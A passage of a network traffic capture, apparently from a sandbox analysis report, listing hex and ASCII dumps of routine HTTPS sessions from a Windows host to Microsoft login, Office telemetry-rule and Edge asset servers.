20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 Data Ascii: -1.9013467973642 }, { "key": "f235dcf6b429ba416dce74d4b6fbc47b", "value": 1.26018118560884 }, { "key": "c8f17d7403ac5ff2896a713a7175ed19", "va
2024-11-26 21:52:50 UTC	16384	IN	Data Raw: 36 62 64 32 65 65 33 36 63 30 33 66 36 66 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 35 2e 38 35 39 38 36 34 33 39 33 34 36 35 37 36 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 65 66 64 32 61 66 36 30 63 38 35 30 31 39 33 31 63 62 39 63 37 33 36 62 35 61 64 37 34 66 36 35 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 33 2e 39 35 36 39 39 35 33 35 33 36 34 30 30 33 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 32 63 38 34 38 35 34 38 64 34 36 30 63 Data Ascii: 6bd2ee36c03f6f", "value": 5.85986439346576 }, { "key": "efd2af60c8501931cb9c736b5ad74f65", "value": 3.95699535364003 }, { "key": "2c848548d460c
2024-11-26 21:52:50 UTC	16384	IN	Data Raw: 20 22 6b 65 79 22 3a 20 22 65 31 36 38 36 30 37 38 64 31 62 36 30 64 33 35 31 64 61 35 61 38 37 35 34 33 61 32 61 36 36 33 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 37 2e 35 30 36 36 35 35 32 34 32 36 32 35 35 31 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 33 61 33 34 31 37 66 35 66 32 30 61 30 33 61 39 38 39 37 33 36 38 39 38 38 37 66 62 37 32 61 32 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 31 2e 37 34 39 32 32 35 31 37 36 34 32 37 39 34 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 Data Ascii: "key": "e1686078d1b60d351da5a87543a2a663", "value": 7.50665524262551 }, { "key": "3a3417f5f20a03a98973689887fb72a2", "value": -1.74922517642794 }, {
2024-11-26 21:52:50 UTC	16384	IN	Data Raw: 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 62 30 64 61 32 37 35 35 32 30 39 31 38 65 32 33 64 64 36 31 35 65 32 61 37 34 37 35 32 38 66 31 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 30 2e 39 37 36 31 34 30 37 39 32 39 31 35 33 37 33 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 63 66 61 62 31 62 61 38 63 36 37 63 37 63 38 33 38 64 62 39 38 64 36 36 36 66 30 32 61 31 33 32 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 31 2e 31 31 37 38 37 35 38 36 30 34 35 30 39 34 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a Data Ascii: { "key": "b0da275520918e23dd615e2a747528f1", "value": -0.976140792915373 }, { "key": "cfab1ba8c67c7c838db98d666f02a132", "value": -1.11787586045094 },
2024-11-26 21:52:50 UTC	16053	IN	Data Raw: 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 64 65 39 35 62 34 33 62 63 65 65 62 34 62 39 39 38 61 65 64 34 61 65 64 35 63 65 66 31 61 65 37 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 2d 31 2e 30 33 33 31 39 35 35 36 37 30 31 31 37 37 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 6b 65 79 22 3a 20 22 61 64 64 65 63 34 32 36 39 33 32 65 37 31 33 32 33 37 30 30 61 66 61 31 39 31 31 66 38 66 31 63 22 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 76 61 6c 75 65 22 3a 20 30 2e 31 36 30 39 38 34 33 32 38 39 38 35 39 32 34 0d Data Ascii: }, { "key": "de95b43bceeb4b998aed4aed5cef1ae7", "value": -1.03319556701177 }, { "key": "addec426932e71323700afa1911f8f1c", "value": 0.160984328985924

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
92	192.168.2.7	49864	20.190.177.146	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 21:52:49 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 3592 Host: login.live.com
2024-11-26 21:52:49 UTC	3592	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-26 21:52:50 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Tue, 26 Nov 2024 21:51:49 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C522_BAY x-ms-request-id: c2146ef8-1cd6-4b94-8a45-48cbd9a5e73d PPServer: PPV: 30 H: PH1PEPF00011F57 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Tue, 26 Nov 2024 21:52:49 GMT Connection: close Content-Length: 11389
2024-11-26 21:52:50 UTC	11389	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port
93	192.168.2.7	49866	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 21:52:49 UTC	192	OUT	GET /rules/rule120676v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 21:52:49 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 21:52:49 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B984BF177" x-ms-request-id: a1da7612-c01e-0014-5d80-3fa6a3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T215249Z-174f7845968j6t2phC1EWRcfe80000000w2g00000000rgzf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 21:52:49 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120676" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
94	192.168.2.7	49868	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 21:52:49 UTC	192	OUT	GET /rules/rule120677v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 21:52:49 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 21:52:49 GMT Content-Type: text/xml Content-Length: 405 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:37 GMT ETag: "0x8DC582B942B6AFF" x-ms-request-id: 1fa1d210-401e-0067-3791-3f09c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T215249Z-174f7845968cpnpfhC1EWR3afc0000000vn000000000dun4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 21:52:49 UTC	405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5e 5b 58 78 5d 5b 45 65 5d 5b 4e 6e 5d 24 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120677" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <SR T="2" R="(^[Xx][Ee][Nn]$)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <

Session ID	Source IP	Source Port	Destination IP	Destination Port
95	192.168.2.7	49865	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 21:52:49 UTC	192	OUT	GET /rules/rule120675v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 21:52:49 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 21:52:49 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6CF78C8" x-ms-request-id: 4f79ec39-601e-0070-0891-3fa0c9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T215249Z-174f7845968ljs8phC1EWRe6en0000000vyg000000002squ x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 21:52:49 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 55 75 5d 5b 50 70 5d 5b 43 63 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 55 75 5d 5b 44 64 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120675" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <SR T="2" R="([Uu][Pp][Cc][Ll][Oo][Uu][Dd])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
96	192.168.2.7	49871	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 21:52:49 UTC	192	OUT	GET /rules/rule120678v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 21:52:50 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 21:52:50 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA642BF4" x-ms-request-id: f58191a5-b01e-003e-1291-3f8e41000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T215250Z-174f7845968px8v7hC1EWR08ng0000000w8000000000fvkw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 21:52:50 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120678" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
97	192.168.2.7	49872	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 21:52:50 UTC	192	OUT	GET /rules/rule120679v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 21:52:51 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 21:52:51 GMT Content-Type: text/xml Content-Length: 174 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91D80E15" x-ms-request-id: 8c2ab7fe-e01e-0003-5b91-3f0fa8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T215251Z-174f7845968l4kp6hC1EWRe8840000000w6000000000psch x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 21:52:51 UTC	174	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 54 3e 0d 0a 3c 2f 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120679" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> </S> <T> <S T="1" /> </T></R>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
98	192.168.2.7	49876	13.107.246.40	443	7832	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 21:52:50 UTC	438	OUT	GET /assets/edge_hub_apps_action_center_maximal_light.png/1.2.1/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-26 21:52:51 UTC	536	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 21:52:51 GMT Content-Type: image/png Content-Length: 1579 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:08 GMT ETag: 0x8DBDCB5DE99522A x-ms-request-id: 4aa832c4-001e-0023-6091-3f07cc000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241126T215251Z-174f7845968swgbqhC1EWRmnb40000000w80000000003s0h Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-26 21:52:51 UTC	1579	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 05 c0 49 44 41 54 78 01 ed 58 4f 8b 5c 45 10 af 7a f3 66 66 15 c5 fd 00 42 66 f2 05 b2 22 c2 1e 54 d6 4f 90 15 c1 63 d8 e0 49 04 37 01 11 11 25 89 e0 d5 04 0f 1a f0 e0 e6 62 c4 cb 1e 44 50 21 b8 df 20 7b f0 4f 6e 1b 4f 8b 20 cc 7a 89 b3 ef 75 57 f9 ab ea 9e 37 cb 66 77 66 36 93 83 84 ad a4 d3 fd de eb 79 fd 7b bf fa 55 75 75 88 4e ed d4 9e 20 5b d9 dc ed 2d df de ed d1 63 34 a6 39 6c e5 fb c1 4a 54 39 2f 42 ab 22 d2 8b 91 54 a2 92 d4 91 63 90 6d 09 74 57 2a fd fc b7 77 9e df a6 47 b4 47 02 b8 f2 f3 60 29 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaIDATxXO\EzffBf"TOcI7%bDP! {OnO zuW7fwf6y{UuuN [-c49lJT9/B"TcmtW*wGG`)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
99	192.168.2.7	49875	13.107.246.40	443	7832	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 21:52:51 UTC	431	OUT	GET /assets/edge_hub_apps_search_maximal_light.png/1.3.6/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-26 21:52:51 UTC	543	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 21:52:51 GMT Content-Type: image/png Content-Length: 1966 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:31 GMT ETag: 0x8DBDCB5EC122A94 x-ms-request-id: b45380e2-b01e-0013-6191-3f5de6000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241126T215251Z-174f78459685726chC1EWRsnbg0000000w40000000006nbg Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 69316365 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-26 21:52:51 UTC	1966	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 07 43 49 44 41 54 78 01 ed 97 5b 68 5c 75 1e c7 7f ff 73 f9 9f 49 d2 49 4f da 98 b4 6a d7 d9 c5 16 bc b0 4e c1 bd c8 6e d8 99 07 1f 74 1f 9a e0 2a 15 77 d7 06 0b 82 0f d5 3c 54 10 1f 3a 41 d0 2a 8a 2d 55 29 68 4d 14 1f 6a d3 92 3c 28 58 45 92 fa d0 0a 82 8e 48 14 6a 6b 53 d0 b4 21 4d e7 cc 64 6e 67 ce cd ef ef 64 4e 48 ed c5 74 d2 e8 4b 7f c3 9f ff b9 cd 39 9f f3 fd ff 6e 87 e8 ba 2d cd c4 62 2f 1c 1a 1a 4a 29 8a b2 c9 f3 bc 44 10 04 3c c8 71 1c 0b fb 59 8c af 71 6e a4 b7 b7 d7 a2 6b 6c bf 0a 38 3c 3c fc Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaCIDATx[h\usIIOjNntw<T:A-U)hMj<(XEHjkS!MdngdNHtK9n-b/J)D<qYqnkl8<<

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
100	192.168.2.7	49874	13.107.246.40	443	7832	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 21:52:51 UTC	433	OUT	GET /assets/edge_hub_apps_shopping_maximal_light.png/1.4.0/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-26 21:52:52 UTC	536	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 21:52:51 GMT Content-Type: image/png Content-Length: 1751 Connection: close Last-Modified: Tue, 17 Oct 2023 00:34:33 GMT ETag: 0x8DBCEA8D5AACC85 x-ms-request-id: ab62deda-d01e-0047-3391-3fb76c000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241126T215251Z-174f7845968ljs8phC1EWRe6en0000000vx0000000007qa3 Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
